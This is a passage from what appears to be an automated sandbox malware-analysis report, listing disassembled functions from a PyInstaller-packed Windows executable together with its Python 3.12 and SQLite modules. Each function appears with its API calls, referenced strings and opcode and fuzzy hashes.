FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B407
FlsSetValue.KERNEL32(?,?,?,00007FF62C10A5A3,?,?,00000000,00007FF62C10A83E,?,?,?,?,?,00007FF62C10A7CA), ref: 00007FF62C10B418

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction ID: 14cd283922234b1d585029a14ed1ac0fe22536fbb028d61e15a6918262ddd066
Opcode Fuzzy Hash: 6f944022d23edc1c4acf36ee41aa723466f994e0e1af3fb98e05b0010e79b0d5
Instruction Fuzzy Hash: D1115E30F0D64281FE58A7269D5B27921429F457B0F588334ED7EC6BDAEE2DE5628303

Function 00007FF62C10B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF62C10B235
FlsSetValue.KERNEL32 ref: 00007FF62C10B254
FlsSetValue.KERNEL32 ref: 00007FF62C10B27C
FlsSetValue.KERNEL32 ref: 00007FF62C10B28D
FlsSetValue.KERNEL32 ref: 00007FF62C10B29E

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction ID: ba2ef1308fe9006bf9a1ef374012ed1dea6c46e84785928743e1045b93af50d1
Opcode Fuzzy Hash: cf61fb6c00b1796c5bed08ecf7b6551a73a14dc995a044f45feadad5ae41d3ad
Instruction Fuzzy Hash: 02110524E4920781FD6CA2614C6B57E22824F8A770F184B34ED3ECA6D6ED2DB8614213

Function 00007FF62C105FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C105FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C106106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C1061BC

Strings

verbose, xrefs: 00007FF62C105FB0

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: ef05407b4b7fce76a600297e839262fe213be2094b9ebd134a9a78217a82eb1d
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: BF91D472A08A5681FF619E24DC5A3BD3791AF81BA4F444136DE5D873D6DF3CE8258302

Function 00007FF62C10FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10FEA7

Part of subcall function 00007FF62C107A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62C107A59

Strings

ccs, xrefs: 00007FF62C10FDE2
UTF-16LEUNICODE, xrefs: 00007FF62C10FE45
UTF-8, xrefs: 00007FF62C10FE26

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 495537817798efd58c7886186beb64db9423c0621514f747653eb7dd892779cd
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: 9381BF72E0C24385FF659F29895B27836A1AB11BA8F558035DE0DD7285CF2EE922D303

Function 00007FF62C0FD648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62C0FD673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF62C0FD70A
RtlUnwindEx.KERNEL32 ref: 00007FF62C0FD764

Strings

csm, xrefs: 00007FF62C0FD6F1

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: 7423ddb91260109b893d9910f443cc667aa1400ac18253e2b175fc53b6cc337e
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: 84518E36A197428EDF14CF15E844A787791EB44BA8F108135DE4E8B788EF7EE981C709

Function 00007FF62C0FEED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF62C0FEF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF62C0FEF83

Strings

MOC, xrefs: 00007FF62C0FEF4B
RCC, xrefs: 00007FF62C0FEF53

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: 375ed67dc8ad28dc4d58ec569a2a90a070955ee2b5cd3aafd191282bf8908a82
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 1B617232908BC589EB609F15E8403AAB7A0FB85BA4F044225EF9C47B99DF7DD1D4CB05

Function 00007FF62C0FF288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF62C0FF2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF62C0FF398

Strings

csm, xrefs: 00007FF62C0FF2D2
csm, xrefs: 00007FF62C0FF3EA

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: edc58648ded7facd108a0e871cda2938f405d4af8264a3fdfcef124654868754
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 63517D32A082828EEF748F25984426977E0EB55BA4F144136DE9DC7B85CF7EE491C70A

Function 00007FF62C0F7E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF62C0F352C,?,00000000,00007FF62C0F3F1B), ref: 00007FF62C0F7F32

Strings

%s%c, xrefs: 00007FF62C0F7EA4
%.*s, xrefs: 00007FF62C0F7EEB
\, xrefs: 00007FF62C0F7E97

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction ID: da0028179664f049e22b4f1bffd33e0486af6989451cb5dd699f3388cc5b11e9
Opcode Fuzzy Hash: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction Fuzzy Hash: 4131D221719AC149FE219B24EC107AA6354EF88BF0F440231EE6D87BC9DF2DE6858706

Function 00007FF62C0F2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF62C0F28EA

Strings

ERROR, xrefs: 00007FF62C0F286F
Error, xrefs: 00007FF62C0F28DD
[PYI-%d:%ls] , xrefs: 00007FF62C0F2868

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 3413cd746f8771c83a11a587361d0f0fd128e84aa27177f6b06a5d54e2988a5f
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: D121DE72B08B4186EB209B18F84A7EA63A4EB88794F400136EE8D9365ADF3CD245C741

Function 00007FFDFAA51ED0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312(?,?,?,?,?,00007FFDFAA51EBC), ref: 00007FFDFAA53C1F

Part of subcall function 00007FFDFAA51FB0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAA51FE8
Part of subcall function 00007FFDFAA51FB0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAA52006

PyErr_Format.PYTHON312 ref: 00007FFDFAA51F33

Strings

name too long, xrefs: 00007FFDFAA53C15
undefined character name '%s', xrefs: 00007FFDFAA51F26

Memory Dump Source

Source File: 00000001.00000002.2068545702.00007FFDFAA51000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FFDFAA50000, based on PE: true

Associated: 00000001.00000002.2068513391.00007FFDFAA50000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAA55000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAB2000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAAFE000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB02000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB07000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068579406.00007FFDFAB5F000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068952212.00007FFDFAB62000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000001.00000002.2068988243.00007FFDFAB64000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaa50000_dens.jbxd

Similarity

API ID: Err_strncmp$FormatString
String ID: name too long$undefined character name '%s'
API String ID: 3882229318-4056717002
Opcode ID: 1035d3c545dcad7f3fc1fcdb04c9696ab0948ab795443172b9eb40205ee2c5c7
Instruction ID: 8832d6bd2d56b579fa340f74c4973fe9238718322cffb85bc7110c4570998fdc
Opcode Fuzzy Hash: 1035d3c545dcad7f3fc1fcdb04c9696ab0948ab795443172b9eb40205ee2c5c7
Instruction Fuzzy Hash: F4112475F18A47D9EB049B54D4A49B87364FB48748F800472CA2E476E8DF6DE14FC704

Function 00007FFDFAB8F5E0 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFAB8BB20: RaiseException.KERNEL32 ref: 00007FFDFAB8BB75

memcmp.VCRUNTIME140 ref: 00007FFDFAB8F636

Strings

%s at line %d of [%.10s], xrefs: 00007FFDFAB8F80C
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFAB8F7F3
database corruption, xrefs: 00007FFDFAB8F800

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: ExceptionRaisememcmp
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$database corruption
API String ID: 2159421160-3727861699
Opcode ID: 4e3fcc6343683a443bf5f001e679ca8bd2fd4956ae95aff868c58ccb46c6ebe5
Instruction ID: 72df04bb0992ccca9b93bdeb361276a985e23a1f0833b80ac7e1df35b282403d
Opcode Fuzzy Hash: 4e3fcc6343683a443bf5f001e679ca8bd2fd4956ae95aff868c58ccb46c6ebe5
Instruction Fuzzy Hash: E1F17B32B087429BE718CBB9D560AAD37A1FB04789F408075DE1D9BB99DF38E8168750

Function 00007FFDFABD41C0 Relevance: 6.3, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFABD4220
memcpy.VCRUNTIME140 ref: 00007FFDFABD4235
memcpy.VCRUNTIME140 ref: 00007FFDFABD4259
memcpy.VCRUNTIME140 ref: 00007FFDFABD4278
memcpy.VCRUNTIME140 ref: 00007FFDFABD4290

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: 795a7b7c206bf73719766509282a2b498d48eb20adda9bc06bbc5577d3259f6c
Instruction ID: 48394b0b7e6c161969efbd715f41d87ee58c57549224ac50d6d7131b6dea818d
Opcode Fuzzy Hash: 795a7b7c206bf73719766509282a2b498d48eb20adda9bc06bbc5577d3259f6c
Instruction Fuzzy Hash: 2921916A71875283D7689B56F5615BEA3A1FB44BC0B045135DF9E4BF9ACF3CE0518300

Function 00007FF62C10C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF62C10C61F
WriteFile.KERNEL32 ref: 00007FF62C10C8E7
WriteFile.KERNEL32 ref: 00007FF62C10C92D
GetLastError.KERNEL32 ref: 00007FF62C10C9E3

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: d5963c906391e85ea99114f779c0114a698e1561d3d64e507fde88feabfeb877
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: 61D12972B18E418AEB10CF69D8551EC3771FB147A8B044236DE4ED7B99DE38D02ACB06

Function 00007FFDFAC086F0 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 239COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFDFAC08BBF), ref: 00007FFDFAC08889
memcpy.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFDFAC08BBF), ref: 00007FFDFAC0890B
memcpy.VCRUNTIME140(?,?,?,?,00000080,?,?,?,00000000,00007FFDFAC08BBF), ref: 00007FFDFAC089FD

Strings

RETURNING may not use "TABLE.*" wildcards, xrefs: 00007FFDFAC08771

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: RETURNING may not use "TABLE.*" wildcards
API String ID: 3510742995-2313493979
Opcode ID: 7e7e19360dff169692bdddae953b084c6e9b73729217d5cafa84439cbde45142
Instruction ID: cf813461d316ee34b3794c6b8d0348d10ec1a0d2b606b70227b86dae562f7e32
Opcode Fuzzy Hash: 7e7e19360dff169692bdddae953b084c6e9b73729217d5cafa84439cbde45142
Instruction Fuzzy Hash: B7B1AA26B08B9186EB28CB1594606AD77A1FB84BA4F49C375DEBD477D9DF38E091C300

Function 00007FF62C10CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C10CF4B), ref: 00007FF62C10D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF62C10CF4B), ref: 00007FF62C10D107

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 45eb129ed847f8951ade3926d75fe5aa1df73fbef9a1ac62f0aaf31205d19dae
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 57910432F1865185FF60AF699C4A2BD2BA0BB45BA8F544139DE0E93A85CF3DD452C702

Function 00007FFDFABF9510 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 198COMMON

Download Yara Rule

Strings

%s.%s, xrefs: 00007FFDFABF968E
rowid, xrefs: 00007FFDFABF966E
column%d, xrefs: 00007FFDFABF9718

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID:
String ID: %s.%s$column%d$rowid
API String ID: 0-1505470444
Opcode ID: 33050f6a5ce778ce640403e38a7c40036c7d6c6581dc2e086520fb0cdce24bb2
Instruction ID: 0fca9606a7d244fdbefcb4f661b5d4d860b5e1dcbb8c3253e2260b0ed8a5a29d
Opcode Fuzzy Hash: 33050f6a5ce778ce640403e38a7c40036c7d6c6581dc2e086520fb0cdce24bb2
Instruction Fuzzy Hash: 5491993AB08BC281EB688B55E464BA967A4FB45BA4F884366DE7C477D9DF38D441C300

Function 00007FFDFABD3F30 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABD415E

Strings

, , xrefs: 00007FFDFABD3FEE
, xrefs: 00007FFDFABD400D
CREATE TABLE , xrefs: 00007FFDFABD404F

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: $, $CREATE TABLE
API String ID: 3510742995-3459038510
Opcode ID: f76ccd3bb34c7db3920a2cc9d10b0c626f5c4915572b658df107e96516dcb215
Instruction ID: 9d7bed7960741b72b51e0d3f71bfd3838d1dc0aaa19fdd58d79717731bcc8d63
Opcode Fuzzy Hash: f76ccd3bb34c7db3920a2cc9d10b0c626f5c4915572b658df107e96516dcb215
Instruction Fuzzy Hash: 6B614B66B0858286DB198F24E4606B9B7A2FB40BA4F888375DE7D477D9DF3DD446C300

